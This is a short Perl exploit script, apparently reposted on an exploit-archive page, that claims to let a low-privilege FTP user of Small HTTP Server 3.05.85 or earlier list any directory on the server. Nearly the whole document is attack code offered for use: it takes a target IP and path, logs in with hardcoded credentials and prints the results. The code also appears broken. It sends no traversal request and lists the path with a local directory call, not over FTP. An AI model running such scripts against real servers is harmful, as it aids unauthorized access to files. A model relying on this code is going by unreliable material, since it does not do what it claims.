Home / os / win10

smallhttp-traversal.txt

Posted on 02 February 2009

#!/usr/bin/perl
#
# Author : Houssamix

# Small HTTP Server <= 3.05.85 Directory Traversal Exploit

# Description : Any user FTP with low permission can have access to any directory in server

# Downlod : http://smallsrv.com/
# [01.01.09] Happy new year! Version 3.05.84

# Greetz to Legend-Spy , Stack , Snakespc , str0ke & ..

use LWP;
use Net::FTP;
use IO::Dir;
use Tk;

if(@ARGV!=2){
print "Author : Houssamix 
";
print "Small HTTP Server <= 3.05.85 Directory Traversal Exploit
";
print "Usage: Hsmx.pl IP [dir_path] 
";
print "Exam: Hsmx.pl 127.0.0.1 c:\ 

";
exit;
}

$ip = $ARGV[0];
$path = $ARGV[1];

my $username = "houssamix";
my $pass = "123456";
system("color f");

print "

";
print "[+] Author : Houssamix
";
print "[+] Small HTTP Server <= 3.05.85 Directory Traversal Exploit
";
print "[+] Connect to $ip ...
";
sleep(1);
$ftp = Net::FTP->new($ip, Debug => 0, Port => 21) || die "could not
connect: $!";

print "[+] Send user and pass..
";

$ftp->login($username, $pass) || die "could not login: $!";
sleep(1);

print "[+] Logged in
";
print "[+] Bad request sent 

";
sleep(1);

tie %dir, IO::Dir, $path;
foreach (keys %dir) {
print  $_, " => " , $dir{$_}->size, "
";
}

$ftp->quit;

 

TOP